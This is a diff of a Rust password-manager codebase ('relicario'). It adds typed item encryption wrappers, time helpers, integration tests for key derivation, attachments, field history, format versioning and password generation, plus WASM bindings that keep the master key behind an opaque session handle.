assert!(!r.should_purge(0, 1_000_000_000));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn settings_round_trip() {
|
||||
let s = VaultSettings::default();
|
||||
let json = serde_json::to_string(&s).unwrap();
|
||||
let parsed: VaultSettings = serde_json::from_str(&json).unwrap();
|
||||
assert_eq!(parsed.attachment_caps.per_attachment_max_bytes,
|
||||
s.attachment_caps.per_attachment_max_bytes);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn random_generator_default_is_20_safe() {
|
||||
match VaultSettings::default().generator_defaults {
|
||||
GeneratorRequest::Random { length, classes, symbol_charset } => {
|
||||
assert_eq!(length, 20);
|
||||
assert!(classes.lower && classes.upper && classes.digits && classes.symbols);
|
||||
assert!(matches!(symbol_charset, SymbolCharset::SafeOnly));
|
||||
}
|
||||
_ => panic!("expected Random default"),
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn symbol_charset_custom_round_trips() {
|
||||
let c = SymbolCharset::Custom("!@#".into());
|
||||
let json = serde_json::to_string(&c).unwrap();
|
||||
let parsed: SymbolCharset = serde_json::from_str(&json).unwrap();
|
||||
match parsed {
|
||||
SymbolCharset::Custom(s) => assert_eq!(s, "!@#"),
|
||||
other => panic!("expected Custom, got {:?}", other),
|
||||
}
|
||||
}
|
||||
}
|
||||
63
crates/relicario-core/src/time.rs
Normal file
63
crates/relicario-core/src/time.rs
Normal file
@@ -0,0 +1,63 @@
|
||||
//! Time helpers and the `MonthYear` type used for card expiries.
|
||||
|
||||
use serde::{Deserialize, Serialize};
|
||||
|
||||
/// Current Unix timestamp in seconds.
|
||||
pub fn now_unix() -> i64 {
|
||||
chrono::Utc::now().timestamp()
|
||||
}
|
||||
|
||||
/// Month + year (1-12 / e.g. 2026). Used for card expiries.
|
||||
#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
|
||||
pub struct MonthYear {
|
||||
pub month: u8,
|
||||
pub year: u16,
|
||||
}
|
||||
|
||||
impl MonthYear {
|
||||
pub fn new(month: u8, year: u16) -> Result<Self, &'static str> {
|
||||
if !(1..=12).contains(&month) {
|
||||
return Err("month must be 1..=12");
|
||||
}
|
||||
if year < 2000 || year > 2099 {
|
||||
return Err("year must be 2000..=2099");
|
||||
}
|
||||
Ok(Self { month, year })
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
#[test]
|
||||
fn now_unix_is_positive_and_recent() {
|
||||
let t = now_unix();
|
||||
assert!(t > 1_700_000_000); // after late 2023
|
||||
assert!(t < 4_000_000_000); // before 2096
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn month_year_constructor_rejects_bad_month() {
|
||||
assert!(MonthYear::new(0, 2026).is_err());
|
||||
assert!(MonthYear::new(13, 2026).is_err());
|
||||
assert!(MonthYear::new(1, 2026).is_ok());
|
||||
assert!(MonthYear::new(12, 2026).is_ok());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn month_year_constructor_rejects_bad_year() {
|
||||
assert!(MonthYear::new(1, 1999).is_err());
|
||||
assert!(MonthYear::new(1, 2100).is_err());
|
||||
assert!(MonthYear::new(1, 2000).is_ok());
|
||||
assert!(MonthYear::new(1, 2099).is_ok());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn month_year_round_trips_through_json() {
|
||||
let my = MonthYear::new(7, 2030).unwrap();
|
||||
let json = serde_json::to_string(&my).unwrap();
|
||||
let parsed: MonthYear = serde_json::from_str(&json).unwrap();
|
||||
assert_eq!(parsed, my);
|
||||
}
|
||||
}
|
||||
90
crates/relicario-core/src/vault.rs
Normal file
90
crates/relicario-core/src/vault.rs
Normal file
@@ -0,0 +1,90 @@
|
||||
//! Typed wrappers around `crypto::{encrypt, decrypt}` for the new typed-item
|
||||
//! data model. Each function does JSON-serialize → encrypt or decrypt → JSON-parse.
|
||||
//!
|
||||
//! v1 helpers (encrypt_entry / decrypt_entry / encrypt_manifest with the old
|
||||
//! Manifest type) are intentionally NOT carried forward. The CLI rewrite in
|
||||
//! Plan 1B switches to the new helpers.
|
||||
|
||||
use zeroize::Zeroizing;
|
||||
|
||||
use crate::crypto::{decrypt, encrypt};
|
||||
use crate::error::Result;
|
||||
use crate::item::Item;
|
||||
use crate::manifest::Manifest;
|
||||
use crate::settings::VaultSettings;
|
||||
|
||||
pub fn encrypt_item(item: &Item, master_key: &Zeroizing<[u8; 32]>) -> Result<Vec<u8>> {
|
||||
let json = serde_json::to_vec(item)?;
|
||||
let plaintext = Zeroizing::new(json);
|
||||
encrypt(master_key, plaintext.as_slice())
|
||||
}
|
||||
|
||||
pub fn decrypt_item(encrypted: &[u8], master_key: &Zeroizing<[u8; 32]>) -> Result<Item> {
|
||||
let plaintext = decrypt(master_key, encrypted)?;
|
||||
let plaintext = Zeroizing::new(plaintext);
|
||||
let item: Item = serde_json::from_slice(&plaintext)?;
|
||||
Ok(item)
|
||||
}
|
||||
|
||||
pub fn encrypt_manifest(manifest: &Manifest, master_key: &Zeroizing<[u8; 32]>) -> Result<Vec<u8>> {
|
||||
let json = serde_json::to_vec(manifest)?;
|
||||
let plaintext = Zeroizing::new(json);
|
||||
encrypt(master_key, plaintext.as_slice())
|
||||
}
|
||||
|
||||
pub fn decrypt_manifest(encrypted: &[u8], master_key: &Zeroizing<[u8; 32]>) -> Result<Manifest> {
|
||||
let plaintext = decrypt(master_key, encrypted)?;
|
||||
let plaintext = Zeroizing::new(plaintext);
|
||||
let manifest: Manifest = serde_json::from_slice(&plaintext)?;
|
||||
Ok(manifest)
|
||||
}
|
||||
|
||||
pub fn encrypt_settings(settings: &VaultSettings, master_key: &Zeroizing<[u8; 32]>) -> Result<Vec<u8>> {
|
||||
let json = serde_json::to_vec(settings)?;
|
||||
let plaintext = Zeroizing::new(json);
|
||||
encrypt(master_key, plaintext.as_slice())
|
||||
}
|
||||
|
||||
pub fn decrypt_settings(encrypted: &[u8], master_key: &Zeroizing<[u8; 32]>) -> Result<VaultSettings> {
|
||||
let plaintext = decrypt(master_key, encrypted)?;
|
||||
let plaintext = Zeroizing::new(plaintext);
|
||||
let settings: VaultSettings = serde_json::from_slice(&plaintext)?;
|
||||
Ok(settings)
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
use crate::item_types::{ItemCore, SecureNoteCore};
|
||||
|
||||
fn key() -> Zeroizing<[u8; 32]> { Zeroizing::new([0x33u8; 32]) }
|
||||
|
||||
#[test]
|
||||
fn item_round_trip() {
|
||||
let item = Item::new("note".into(), ItemCore::SecureNote(SecureNoteCore {
|
||||
body: Zeroizing::new("hello".into()),
|
||||
}));
|
||||
let bytes = encrypt_item(&item, &key()).unwrap();
|
||||
let decoded = decrypt_item(&bytes, &key()).unwrap();
|
||||
assert_eq!(decoded.title, "note");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn manifest_round_trip() {
|
||||
let mut m = Manifest::new();
|
||||
let item = Item::new("x".into(), ItemCore::SecureNote(SecureNoteCore::default()));
|
||||
m.upsert(&item);
|
||||
let bytes = encrypt_manifest(&m, &key()).unwrap();
|
||||
let decoded = decrypt_manifest(&bytes, &key()).unwrap();
|
||||
assert_eq!(decoded.items.len(), 1);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn settings_round_trip() {
|
||||
let s = VaultSettings::default();
|
||||
let bytes = encrypt_settings(&s, &key()).unwrap();
|
||||
let decoded = decrypt_settings(&bytes, &key()).unwrap();
|
||||
assert_eq!(decoded.attachment_caps.per_attachment_max_bytes,
|
||||
s.attachment_caps.per_attachment_max_bytes);
|
||||
}
|
||||
}
|
||||
52
crates/relicario-core/tests/attachments.rs
Normal file
52
crates/relicario-core/tests/attachments.rs
Normal file
@@ -0,0 +1,52 @@
|
||||
//! Attachment encrypt/decrypt + content-addressed AID + cap enforcement.
|
||||
|
||||
use relicario_core::{
|
||||
AttachmentId, RelicarioError,
|
||||
crypto::KdfParams,
|
||||
decrypt_attachment, derive_master_key, encrypt_attachment,
|
||||
};
|
||||
use zeroize::Zeroizing;
|
||||
|
||||
fn fast_params() -> KdfParams { KdfParams { argon2_m: 256, argon2_t: 1, argon2_p: 1 } }
|
||||
|
||||
fn make_key() -> Zeroizing<[u8; 32]> {
|
||||
derive_master_key(b"x", &[0u8; 32], &[0u8; 32], &fast_params()).unwrap()
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn attachment_round_trip_5kb() {
|
||||
let plaintext: Vec<u8> = (0..5000u32).map(|i| (i & 0xff) as u8).collect();
|
||||
let key = make_key();
|
||||
let enc = encrypt_attachment(&plaintext, &key, 10 * 1024 * 1024).unwrap();
|
||||
assert_eq!(enc.id, AttachmentId::from_plaintext(&plaintext));
|
||||
|
||||
let dec = decrypt_attachment(&enc.bytes, &key).unwrap();
|
||||
assert_eq!(&*dec, &plaintext);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn identical_plaintexts_yield_identical_aids() {
|
||||
let plaintext = b"hello world";
|
||||
let key = make_key();
|
||||
let a = encrypt_attachment(plaintext, &key, 1024).unwrap();
|
||||
let b = encrypt_attachment(plaintext, &key, 1024).unwrap();
|
||||
assert_eq!(a.id, b.id);
|
||||
// (Bytes will differ because nonce is random per-encryption — that's expected.)
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn cap_enforcement_at_exact_max() {
|
||||
let plaintext = vec![0u8; 1024];
|
||||
let key = make_key();
|
||||
// Exactly at max — should pass
|
||||
let _ = encrypt_attachment(&plaintext, &key, 1024).unwrap();
|
||||
// One byte over — should fail
|
||||
let err = encrypt_attachment(&plaintext, &key, 1023);
|
||||
match err {
|
||||
Err(RelicarioError::AttachmentTooLarge { size, max }) => {
|
||||
assert_eq!(size, 1024);
|
||||
assert_eq!(max, 1023);
|
||||
}
|
||||
other => panic!("expected AttachmentTooLarge, got {other:?}"),
|
||||
}
|
||||
}
|
||||
63
crates/relicario-core/tests/field_history.rs
Normal file
63
crates/relicario-core/tests/field_history.rs
Normal file
@@ -0,0 +1,63 @@
|
||||
//! Field history end-to-end: capture on update, prune by retention policy,
|
||||
//! survive encrypt/decrypt round-trip.
|
||||
|
||||
use relicario_core::{
|
||||
Field, FieldValue, HistoryRetention, Item, ItemCore, Section,
|
||||
crypto::KdfParams,
|
||||
derive_master_key, decrypt_item, encrypt_item,
|
||||
};
|
||||
use relicario_core::item_types::LoginCore;
|
||||
use zeroize::Zeroizing;
|
||||
|
||||
fn key() -> Zeroizing<[u8; 32]> {
|
||||
derive_master_key(b"x", &[0u8; 32], &[0u8; 32], &KdfParams { argon2_m: 256, argon2_t: 1, argon2_p: 1 }).unwrap()
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn password_field_history_captured_on_update() {
|
||||
let mut item = Item::new("login".into(), ItemCore::Login(LoginCore::default()));
|
||||
let f = Field::new("password".into(), FieldValue::Password(Zeroizing::new("v0".into())));
|
||||
let fid = f.id.clone();
|
||||
item.sections.push(Section { name: None, fields: vec![f] });
|
||||
|
||||
item.set_field_value(&fid, FieldValue::Password(Zeroizing::new("v1".into()))).unwrap();
|
||||
item.set_field_value(&fid, FieldValue::Password(Zeroizing::new("v2".into()))).unwrap();
|
||||
item.set_field_value(&fid, FieldValue::Password(Zeroizing::new("v3".into()))).unwrap();
|
||||
|
||||
let hist = item.field_history.get(&fid).expect("history exists");
|
||||
assert_eq!(hist.len(), 3);
|
||||
assert_eq!(hist[0].value.as_str(), "v0");
|
||||
assert_eq!(hist[2].value.as_str(), "v2");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn prune_last_n_keeps_most_recent() {
|
||||
let mut item = Item::new("x".into(), ItemCore::Login(LoginCore::default()));
|
||||
let f = Field::new("p".into(), FieldValue::Password(Zeroizing::new("v0".into())));
|
||||
let fid = f.id.clone();
|
||||
item.sections.push(Section { name: None, fields: vec![f] });
|
||||
for i in 1..=10 {
|
||||
item.set_field_value(&fid, FieldValue::Password(Zeroizing::new(format!("v{i}")))).unwrap();
|
||||
}
|
||||
item.prune_history(&HistoryRetention::LastN(3), 0);
|
||||
let hist = &item.field_history[&fid];
|
||||
assert_eq!(hist.len(), 3);
|
||||
// Most recent 3: v7, v8, v9 (v10's predecessor v9 was the latest captured)
|
||||
assert!(hist.last().unwrap().value.as_str().starts_with('v'));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn history_survives_encrypt_decrypt() {
|
||||
let mut item = Item::new("x".into(), ItemCore::Login(LoginCore::default()));
|
||||
let f = Field::new("p".into(), FieldValue::Password(Zeroizing::new("v0".into())));
|
||||
let fid = f.id.clone();
|
||||
item.sections.push(Section { name: None, fields: vec![f] });
|
||||
item.set_field_value(&fid, FieldValue::Password(Zeroizing::new("v1".into()))).unwrap();
|
||||
|
||||
let blob = encrypt_item(&item, &key()).unwrap();
|
||||
let decoded = decrypt_item(&blob, &key()).unwrap();
|
||||
|
||||
let hist = decoded.field_history.get(&fid).expect("history survived");
|
||||
assert_eq!(hist.len(), 1);
|
||||
assert_eq!(hist[0].value.as_str(), "v0");
|
||||
}
|
||||
54
crates/relicario-core/tests/format_v2.rs
Normal file
54
crates/relicario-core/tests/format_v2.rs
Normal file
@@ -0,0 +1,54 @@
|
||||
//! Format v2 invariants: VERSION_BYTE = 0x02, v1 blobs are rejected with
|
||||
//! UnsupportedFormatVersion, length-prefix construction guarantees domain
|
||||
//! separation.
|
||||
|
||||
use relicario_core::{
|
||||
RelicarioError,
|
||||
crypto::{KdfParams, VERSION_BYTE},
|
||||
decrypt, derive_master_key, encrypt,
|
||||
};
|
||||
use zeroize::Zeroizing;
|
||||
|
||||
fn fast_params() -> KdfParams { KdfParams { argon2_m: 256, argon2_t: 1, argon2_p: 1 } }
|
||||
|
||||
#[test]
|
||||
fn version_byte_is_2() {
|
||||
assert_eq!(VERSION_BYTE, 0x02);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn fresh_ciphertext_starts_with_0x02() {
|
||||
let key = Zeroizing::new([0u8; 32]);
|
||||
// encrypt(key: &[u8; 32], plaintext: &[u8])
|
||||
let ct = encrypt(&key, b"hello").unwrap();
|
||||
assert_eq!(ct[0], 0x02);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn v1_blob_is_rejected_with_unsupported_format_version() {
|
||||
// v1 layout: [0x01][24 nonce bytes][16 tag bytes]
|
||||
let mut blob = vec![0x01u8];
|
||||
blob.extend_from_slice(&[0u8; 24 + 16]);
|
||||
let key = Zeroizing::new([0u8; 32]);
|
||||
// decrypt(key: &[u8; 32], data: &[u8])
|
||||
let err = decrypt(&key, &blob);
|
||||
match err {
|
||||
Err(RelicarioError::UnsupportedFormatVersion { found, expected }) => {
|
||||
assert_eq!(found, 0x01);
|
||||
assert_eq!(expected, 0x02);
|
||||
}
|
||||
other => panic!("expected UnsupportedFormatVersion, got {other:?}"),
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn length_prefix_distinguishes_concat_collisions() {
|
||||
let salt = [0u8; 32];
|
||||
let img = [0x44u8; 32];
|
||||
let p1 = b"abc";
|
||||
let p2 = b"abcD"; // Pre-length-prefix, ("abc", [0x44, ...]) and ("abcD", ...)
|
||||
// could be made to collide. With length-prefix they cannot.
|
||||
let k1 = derive_master_key(p1, &img, &salt, &fast_params()).unwrap();
|
||||
let k2 = derive_master_key(p2, &img, &salt, &fast_params()).unwrap();
|
||||
assert_ne!(*k1, *k2);
|
||||
}
|
||||
89
crates/relicario-core/tests/generators.rs
Normal file
89
crates/relicario-core/tests/generators.rs
Normal file
@@ -0,0 +1,89 @@
|
||||
//! Generator integration tests — unbiased sampling (smoke), BIP39 sanity,
|
||||
//! zxcvbn strength gate.
|
||||
//!
|
||||
//! # Note on length cap
|
||||
//!
|
||||
//! `generate_password` enforces `length <= 128`. The task originally specified
|
||||
//! `length: 10_000` in a single call, but that would error at runtime.
|
||||
//!
|
||||
//! We use **Option 1 (aggregation)**: call `generate_password` 80 times with
|
||||
//! `length: 128` to gather 10,240 characters total, then aggregate per-class
|
||||
//! counts before asserting proportions. The ±5pp tolerance is unchanged because
|
||||
//! sample size is the same (~10k chars).
|
||||
|
||||
use relicario_core::{
|
||||
Capitalization, CharClasses, GeneratorRequest, SymbolCharset,
|
||||
generate_passphrase, generate_password, validate_passphrase_strength,
|
||||
};
|
||||
|
||||
#[test]
|
||||
fn random_password_class_balance_is_reasonable() {
|
||||
// Aggregate 80 × 128 = 10,240 chars so we have enough for tight statistics.
|
||||
// (generate_password caps at length 128, so we cannot do a single 10,000-char call.)
|
||||
let req = GeneratorRequest::Random {
|
||||
length: 128,
|
||||
classes: CharClasses { lower: true, upper: true, digits: true, symbols: true },
|
||||
symbol_charset: SymbolCharset::SafeOnly,
|
||||
};
|
||||
|
||||
let mut lower = 0usize;
|
||||
let mut upper = 0usize;
|
||||
let mut digits = 0usize;
|
||||
let mut total = 0usize;
|
||||
|
||||
for _ in 0..80 {
|
||||
let pw = generate_password(&req).unwrap();
|
||||
lower += pw.chars().filter(|c| c.is_ascii_lowercase()).count();
|
||||
upper += pw.chars().filter(|c| c.is_ascii_uppercase()).count();
|
||||
digits += pw.chars().filter(|c| c.is_ascii_digit()).count();
|
||||
total += pw.len();
|
||||
}
|
||||
let symbols = total - lower - upper - digits;
|
||||
|
||||
// Charset sizes: lower 26 + upper 26 + digits 10 + safe_symbols 12 = 74
|
||||
// Expected proportions: 26/74 ≈ 35.1%, 10/74 ≈ 13.5%, 12/74 ≈ 16.2%
|
||||
// Allow ±5pp slop.
|
||||
let t = total as f64;
|
||||
let assert_pct = |label: &str, actual: usize, expected_pct: f64| {
|
||||
let pct = (actual as f64) / t * 100.0;
|
||||
assert!(
|
||||
(pct - expected_pct).abs() < 5.0,
|
||||
"{label}: actual {pct:.1}% vs expected {expected_pct:.1}%"
|
||||
);
|
||||
};
|
||||
assert_pct("lower", lower, 26.0 / 74.0 * 100.0);
|
||||
assert_pct("upper", upper, 26.0 / 74.0 * 100.0);
|
||||
assert_pct("digits", digits, 10.0 / 74.0 * 100.0);
|
||||
assert_pct("symbols", symbols, 12.0 / 74.0 * 100.0);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn bip39_5_word_passphrase_passes_zxcvbn_gate() {
|
||||
let req = GeneratorRequest::Bip39 {
|
||||
word_count: 5,
|
||||
separator: " ".into(),
|
||||
capitalization: Capitalization::Lower,
|
||||
};
|
||||
let pw = generate_passphrase(&req).unwrap();
|
||||
validate_passphrase_strength(&pw).expect("5-word bip39 should pass score >= 3");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn common_weak_passphrases_fail_gate() {
|
||||
for weak in &["password", "12345678", "letmein", "qwertyui", "hunter2"] {
|
||||
assert!(
|
||||
validate_passphrase_strength(weak).is_err(),
|
||||
"expected '{weak}' to fail gate"
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn random_passwords_are_unique_across_calls() {
|
||||
let req = GeneratorRequest::default();
|
||||
let mut seen = std::collections::HashSet::new();
|
||||
for _ in 0..1000 {
|
||||
let pw = generate_password(&req).unwrap();
|
||||
assert!(seen.insert(pw.as_str().to_owned()));
|
||||
}
|
||||
}
|
||||
111
crates/relicario-core/tests/integration.rs
Normal file
111
crates/relicario-core/tests/integration.rs
Normal file
@@ -0,0 +1,111 @@
|
||||
//! End-to-end integration tests for the typed-item core.
|
||||
|
||||
use relicario_core::{
|
||||
crypto::KdfParams,
|
||||
derive_master_key, encrypt_item, decrypt_item,
|
||||
encrypt_manifest, decrypt_manifest,
|
||||
encrypt_settings, decrypt_settings,
|
||||
Field, FieldValue, Item, ItemCore, Manifest, Section, VaultSettings,
|
||||
};
|
||||
use relicario_core::item_types::{LoginCore, SecureNoteCore};
|
||||
use url::Url;
|
||||
use zeroize::Zeroizing;
|
||||
|
||||
fn fast_params() -> KdfParams {
|
||||
KdfParams { argon2_m: 256, argon2_t: 1, argon2_p: 1 }
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn full_workflow_login_and_note() {
|
||||
let salt = [0xAAu8; 32];
|
||||
let img = [0xBBu8; 32];
|
||||
let key = derive_master_key(b"correct horse battery staple", &img, &salt, &fast_params()).unwrap();
|
||||
|
||||
let mut manifest = Manifest::new();
|
||||
let settings = VaultSettings::default();
|
||||
|
||||
// Add a Login
|
||||
let login = Item::new("GitHub".into(), ItemCore::Login(LoginCore {
|
||||
username: Some("alice".into()),
|
||||
password: Some(Zeroizing::new("hunter2".into())),
|
||||
url: Some(Url::parse("https://github.com").unwrap()),
|
||||
totp: None,
|
||||
}));
|
||||
manifest.upsert(&login);
|
||||
let login_blob = encrypt_item(&login, &key).unwrap();
|
||||
|
||||
// Add a SecureNote
|
||||
let note = Item::new("recovery".into(), ItemCore::SecureNote(SecureNoteCore {
|
||||
body: Zeroizing::new("recovery codes go here".into()),
|
||||
}));
|
||||
manifest.upsert(¬e);
|
||||
let note_blob = encrypt_item(¬e, &key).unwrap();
|
||||
|
||||
// Encrypt manifest + settings
|
||||
let manifest_blob = encrypt_manifest(&manifest, &key).unwrap();
|
||||
let settings_blob = encrypt_settings(&settings, &key).unwrap();
|
||||
|
||||
// Decrypt + verify
|
||||
let m = decrypt_manifest(&manifest_blob, &key).unwrap();
|
||||
assert_eq!(m.items.len(), 2);
|
||||
|
||||
let l: Item = decrypt_item(&login_blob, &key).unwrap();
|
||||
let n: Item = decrypt_item(¬e_blob, &key).unwrap();
|
||||
let s: VaultSettings = decrypt_settings(&settings_blob, &key).unwrap();
|
||||
|
||||
assert_eq!(l.title, "GitHub");
|
||||
assert_eq!(n.title, "recovery");
|
||||
assert_eq!(s.attachment_caps.per_attachment_max_bytes, 10 * 1024 * 1024);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn two_factor_independence() {
|
||||
// Same passphrase, different image_secret → different keys.
|
||||
let salt = [0u8; 32];
|
||||
let img_a = [0x01u8; 32];
|
||||
let img_b = [0x02u8; 32];
|
||||
|
||||
let key_a = derive_master_key(b"same-passphrase", &img_a, &salt, &fast_params()).unwrap();
|
||||
let key_b = derive_master_key(b"same-passphrase", &img_b, &salt, &fast_params()).unwrap();
|
||||
assert_ne!(*key_a, *key_b);
|
||||
|
||||
// Different passphrase, same image_secret → different keys.
|
||||
let key_c = derive_master_key(b"other-passphrase", &img_a, &salt, &fast_params()).unwrap();
|
||||
assert_ne!(*key_a, *key_c);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn field_history_persists_through_round_trip() {
|
||||
let salt = [0u8; 32];
|
||||
let img = [0u8; 32];
|
||||
let key = derive_master_key(b"x", &img, &salt, &fast_params()).unwrap();
|
||||
|
||||
let mut item = Item::new("x".into(), ItemCore::Login(LoginCore::default()));
|
||||
let f = Field::new("p".into(), FieldValue::Password(Zeroizing::new("v0".into())));
|
||||
let fid = f.id.clone();
|
||||
item.sections.push(Section { name: None, fields: vec![f] });
|
||||
item.set_field_value(&fid, FieldValue::Password(Zeroizing::new("v1".into()))).unwrap();
|
||||
item.set_field_value(&fid, FieldValue::Password(Zeroizing::new("v2".into()))).unwrap();
|
||||
|
||||
let blob = encrypt_item(&item, &key).unwrap();
|
||||
let decoded = decrypt_item(&blob, &key).unwrap();
|
||||
let hist = decoded.field_history.get(&fid).unwrap();
|
||||
assert_eq!(hist.len(), 2);
|
||||
assert_eq!(hist[0].value.as_str(), "v0");
|
||||
assert_eq!(hist[1].value.as_str(), "v1");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn wrong_key_fails_with_opaque_decrypt() {
|
||||
use relicario_core::RelicarioError;
|
||||
|
||||
let salt = [0u8; 32];
|
||||
let img = [0u8; 32];
|
||||
let right = derive_master_key(b"correct", &img, &salt, &fast_params()).unwrap();
|
||||
let wrong = derive_master_key(b"wrong", &img, &salt, &fast_params()).unwrap();
|
||||
|
||||
let item = Item::new("x".into(), ItemCore::SecureNote(SecureNoteCore::default()));
|
||||
let blob = encrypt_item(&item, &right).unwrap();
|
||||
let err = decrypt_item(&blob, &wrong);
|
||||
assert!(matches!(err, Err(RelicarioError::Decrypt)));
|
||||
}
|
||||
21
crates/relicario-wasm/Cargo.toml
Normal file
21
crates/relicario-wasm/Cargo.toml
Normal file
@@ -0,0 +1,21 @@
|
||||
[package]
|
||||
name = "relicario-wasm"
|
||||
version = "0.1.0"
|
||||
edition = "2021"
|
||||
description = "WASM bindings for relicario password manager"
|
||||
|
||||
[lib]
|
||||
crate-type = ["cdylib", "rlib"]
|
||||
|
||||
[dependencies]
|
||||
relicario-core = { path = "../relicario-core" }
|
||||
wasm-bindgen = "0.2"
|
||||
serde-wasm-bindgen = "0.6"
|
||||
serde_json = "1"
|
||||
serde = { version = "1", features = ["derive"] }
|
||||
zeroize = "1"
|
||||
getrandom = { version = "0.2", features = ["js"] }
|
||||
|
||||
[dev-dependencies]
|
||||
wasm-bindgen-test = "0.3"
|
||||
image = { version = "0.25", default-features = false, features = ["jpeg"] }
|
||||
282
crates/relicario-wasm/src/lib.rs
Normal file
282
crates/relicario-wasm/src/lib.rs
Normal file
@@ -0,0 +1,282 @@
|
||||
//! WASM bindings for relicario.
|
||||
//!
|
||||
//! The bridge exposes an opaque `SessionHandle` API: the master key is held
|
||||
//! entirely in WASM linear memory, wrapped in `Zeroizing<[u8; 32]>`, and
|
||||
//! looked up per call via a u32 handle. JS cannot read key bytes.
|
||||
|
||||
mod session;
|
||||
|
||||
use wasm_bindgen::prelude::*;
|
||||
|
||||
use relicario_core::{derive_master_key, imgsecret, KdfParams};
|
||||
|
||||
/// Handle type returned from `unlock`. Backed by a `u32`; opaque to JS.
|
||||
#[wasm_bindgen]
|
||||
pub struct SessionHandle(u32);
|
||||
|
||||
#[wasm_bindgen]
|
||||
impl SessionHandle {
|
||||
#[wasm_bindgen(getter)]
|
||||
pub fn value(&self) -> u32 { self.0 }
|
||||
}
|
||||
|
||||
#[wasm_bindgen]
|
||||
pub fn unlock(
|
||||
passphrase: &str,
|
||||
image_bytes: &[u8],
|
||||
salt: &[u8],
|
||||
params_json: &str,
|
||||
) -> Result<SessionHandle, JsError> {
|
||||
let params: KdfParams = serde_json::from_str(params_json)
|
||||
.map_err(|e| JsError::new(&format!("params: {e}")))?;
|
||||
let image_secret = imgsecret::extract(image_bytes)
|
||||
.map_err(|e| JsError::new(&e.to_string()))?;
|
||||
let salt_arr: &[u8; 32] = salt.try_into()
|
||||
.map_err(|_| JsError::new("salt must be exactly 32 bytes"))?;
|
||||
let master_key = derive_master_key(passphrase.as_bytes(), &image_secret, salt_arr, ¶ms)
|
||||
.map_err(|e| JsError::new(&e.to_string()))?;
|
||||
let handle = session::insert(master_key);
|
||||
Ok(SessionHandle(handle))
|
||||
}
|
||||
|
||||
#[wasm_bindgen]
|
||||
pub fn lock(handle: &SessionHandle) -> bool {
|
||||
session::remove(handle.0)
|
||||
}
|
||||
|
||||
// Subsequent wasm_bindgen fns added in Tasks 19-21.
|
||||
|
||||
use serde_wasm_bindgen::Serializer;
|
||||
use relicario_core::{
|
||||
decrypt_item, decrypt_manifest, decrypt_settings,
|
||||
encrypt_item, encrypt_manifest, encrypt_settings,
|
||||
Item, Manifest, VaultSettings,
|
||||
};
|
||||
|
||||
fn need_key(handle: &SessionHandle) -> Result<(), JsError> {
|
||||
if session::with(handle.0, |_| ()).is_some() { Ok(()) }
|
||||
else { Err(JsError::new("invalid or locked session handle")) }
|
||||
}
|
||||
|
||||
fn js_value_for<T: serde::Serialize>(v: &T) -> Result<JsValue, JsError> {
|
||||
let ser = Serializer::new().serialize_maps_as_objects(true);
|
||||
v.serialize(&ser).map_err(|e| JsError::new(&e.to_string()))
|
||||
}
|
||||
|
||||
#[wasm_bindgen]
|
||||
pub fn manifest_decrypt(handle: &SessionHandle, encrypted: &[u8]) -> Result<JsValue, JsError> {
|
||||
need_key(handle)?;
|
||||
let out = session::with(handle.0, |k| decrypt_manifest(encrypted, k))
|
||||
.unwrap()
|
||||
.map_err(|e| JsError::new(&e.to_string()))?;
|
||||
js_value_for(&out)
|
||||
}
|
||||
|
||||
#[wasm_bindgen]
|
||||
pub fn manifest_encrypt(handle: &SessionHandle, manifest_json: &str) -> Result<Vec<u8>, JsError> {
|
||||
need_key(handle)?;
|
||||
let m: Manifest = serde_json::from_str(manifest_json)
|
||||
.map_err(|e| JsError::new(&format!("manifest json: {e}")))?;
|
||||
session::with(handle.0, |k| encrypt_manifest(&m, k))
|
||||
.unwrap()
|
||||
.map_err(|e| JsError::new(&e.to_string()))
|
||||
}
|
||||
|
||||
#[wasm_bindgen]
|
||||
pub fn item_decrypt(handle: &SessionHandle, encrypted: &[u8]) -> Result<JsValue, JsError> {
|
||||
need_key(handle)?;
|
||||
let out = session::with(handle.0, |k| decrypt_item(encrypted, k))
|
||||
.unwrap()
|
||||
.map_err(|e| JsError::new(&e.to_string()))?;
|
||||
js_value_for(&out)
|
||||
}
|
||||
|
||||
#[wasm_bindgen]
|
||||
pub fn item_encrypt(handle: &SessionHandle, item_json: &str) -> Result<Vec<u8>, JsError> {
|
||||
need_key(handle)?;
|
||||
let item: Item = serde_json::from_str(item_json)
|
||||
.map_err(|e| JsError::new(&format!("item json: {e}")))?;
|
||||
session::with(handle.0, |k| encrypt_item(&item, k))
|
||||
.unwrap()
|
||||
.map_err(|e| JsError::new(&e.to_string()))
|
||||
}
|
||||
|
||||
#[wasm_bindgen]
|
||||
pub fn settings_decrypt(handle: &SessionHandle, encrypted: &[u8]) -> Result<JsValue, JsError> {
|
||||
need_key(handle)?;
|
||||
let out = session::with(handle.0, |k| decrypt_settings(encrypted, k))
|
||||
.unwrap()
|
||||
.map_err(|e| JsError::new(&e.to_string()))?;
|
||||
js_value_for(&out)
|
||||
}
|
||||
|
||||
